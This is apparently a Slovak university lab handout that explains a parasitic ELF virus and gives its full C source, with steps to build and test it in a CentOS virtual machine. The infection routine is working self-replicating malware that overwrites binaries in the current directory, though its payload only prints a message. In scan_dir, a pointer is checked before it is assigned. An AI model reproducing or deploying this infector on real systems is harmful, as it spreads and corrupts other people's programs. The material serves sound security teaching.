7.3. Jednoduchý parazitný vírus
V príklade je ukážka jednoduchého kódu, ktorého cieľom je nájsť ešte neinfikovaný binárný súbor, infikovať tento program a takto zaručiť vykonanie definovaného škodlivého kódu v podobe jednoduchého výpisu na obrazovku terminálu.
Kostra vírusu:
Načítanie vírusu do pamäte.
Prehľadanie aktuálneho adresára na súbory typu ELF - binárne súbory v linuxe.
Ak je nájdený ELF súbor:
Vytvorenie dočasného súboru a skopírovanie vlastného tela.
Pridanie na koniec tela vírusu program, ktorý bude infikovaný.
Pridanie značky vírusu na koniec súboru.
Premazanie pôvodného programu novým spolu s vírusom.
Spustenie škodlivej činnosti.
Vytvorenie dočasneho súboru a skopírovanie pôvodného programu do tohto súboru.
Spustenie programu (bod 5).
Zmazanie programu (bod 5).
+-------------+ +
| Virus | |
|-------------| |
| | |
| Kod | |
| | |velkost +------------+
| | | X | Infekcia |
| | | |------------|
| | | | |
| | | | |
+-------------+ + | |
| Virus |
| Velkost |
| X |
| |
| |
| |
+-------------+ + +------------+
| ELF subor | | | |
|-------------| | | |
| | | | |
| | | | |
| | | | Program |
| | | | Velkost |
| | | | Y |
| | |velkost | |
| | | Y | |
| Kod | | | |
| | | | |
| | | +------------+
| | | | Magic |
| | | +------------+
| | |
| | |
| | |
+-------------+ +
Ďalšou úlohou je oboznámenie sa s kódom vírusu:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <dirent.h>
#include <elf.h>
#include <fcntl.h>
#include <pwd.h>
#define PARASITE_LENGTH 10069
#define MAGIC 6585
#define TMPFILE_TEMPLATE "/tmp/.virusXXXXXX"
#define MAX_BUF 1024
static int magic = MAGIC;
int infect(char *filename, int hd, char *virus)
{
int fd;
struct stat stat;
char *data;
char tmpfile[MAX_BUF];
char cmd[MAX_BUF]="\0";
int tmagic;
int magicloc;
Elf32_Ehdr ehdr;
if(read(hd,&ehdr, sizeof(ehdr)) != sizeof(ehdr)) return 1;
if(
ehdr.e_ident[0] != ELFMAG0 ||
ehdr.e_ident[1] != ELFMAG1 ||
ehdr.e_ident[2] != ELFMAG2 ||
ehdr.e_ident[3] != ELFMAG3
) return 1;
if(fstat(hd, &stat) < 0) return 1;
magicloc = stat.st_size - sizeof(magic);
if( lseek(hd, magicloc, SEEK_SET) != magicloc ) return 1;
if(read(hd, &tmagic, sizeof(magic)) != sizeof(magic)) return 1;
if(tmagic == MAGIC) return 1;
if(lseek(hd, 0, SEEK_SET) != 0) exit(1);
strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
fd=mkstemp(tmpfile);
if(fd<0) { printf("open(%s)",tmpfile);exit(1); }
if (write(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;
data=(char *)malloc(stat.st_size);
if(data==NULL) return 1;
if(read(hd, data, stat.st_size) != stat.st_size) return 1;
if(write(fd,data, stat.st_size) != stat.st_size) return 1;
if(write(fd,&magic, sizeof(magic)) != sizeof(magic)) return 1;
if(fchown(fd, stat.st_uid, stat.st_gid) < 0) return 1;
if(fchmod(fd, stat.st_mode) < 0) return 1;
sprintf(cmd,"cp %s %s",tmpfile,filename);
if(system(cmd) != 0) return 1;
close(fd);
printf("***Infected %s.\n", filename);
return 0;
}
void scan_dir(char *directory, char *virus)
{
int hd, vd;
int filecnt;
DIR *dd;
struct dirent *dirp;
struct stat stat;
char vfile[256];
dd = opendir(directory);
if(dirp != NULL) {
while (dirp = readdir(dd))
{
strncpy(vfile, directory, 255);
strcat(vfile, "/");
strncat(vfile, dirp->d_name, 255-strlen(vfile));
hd=open(vfile, O_RDONLY, 0);
if(hd >= 0) {
fstat(hd, &stat);
if(S_ISREG(stat.st_mode)) {
vd=open(vfile, O_RDWR, 0);
if(vd >= 0)
infect(vfile, vd, virus);
}
close(vd);
}
close(hd);
}
closedir(dd);
}
}
void payload(void)
{
printf("Malicious code...\n");
}
int main(int argc, char *argv[], char *envp[])
{
int fd, tmpfd;
struct stat stat;
int len;
char *data1, virus[PARASITE_LENGTH];
char tmpfile[MAX_BUF];
pid_t pid;
fd=open(argv[0], O_RDONLY, 0);
if (fstat(fd, &stat) < 0) return 1;
if (read(fd, virus, PARASITE_LENGTH) != PARASITE_LENGTH) return 1;
payload();
scan_dir(".", virus);
len = stat.st_size - PARASITE_LENGTH;
data1=(char*)malloc(len);
if(data1 == NULL) return 1;
if(lseek (fd, PARASITE_LENGTH, SEEK_SET) != PARASITE_LENGTH) return 1;
if(read(fd, data1, len) != len) return 1;
close(fd);
strncpy(tmpfile, TMPFILE_TEMPLATE, MAX_BUF);
tmpfd = mkstemp(tmpfile);
if(tmpfd <0) return 1;
if (write(tmpfd, data1, len) != len) return 1;
fchmod(tmpfd, stat.st_mode);
free(data1);
close(tmpfd);
pid = fork();
if (pid <0) exit(1);
if(pid ==0) exit(execve(tmpfile, argv, envp));
if(waitpid(pid, NULL, 0) != pid) exit(1);
unlink(tmpfile);
exit(0);
return 0;
}
Prihláste sa na vzdialený systém.
Spustite Virtualbox a virtualny system CentOS.
Prihlásenie virtuálny stroj root/password.
Nainštalujte potrebné balíky.
$ yum -y groupinstall "Development Tools"
$ yum -y install mc
Stiahnite kód vírusu.
$ wget http://zeus.fei.tuke.sk/bps3r/virus.c
Skompilujte zdrojový kód
gcc -o virus virus.c
Zistite veľkosť výsledného binárneho vírusu.
$ ls -l virus
Porovnajte prípadne upravte veľkosť konštanty v zdrojovom kód so zistenou hodnotou z bodu 7.
mcedit virus.c
#define PARASITE_LENGTH 10710
Opätovne skompilujte zdrojový kód
gcc -o virus virus.c
Vytvorte adresár testovanie.
$ mkdir testovanie
Skopírujte vírus do tohto adresára.
$ cp virus ./testovanie/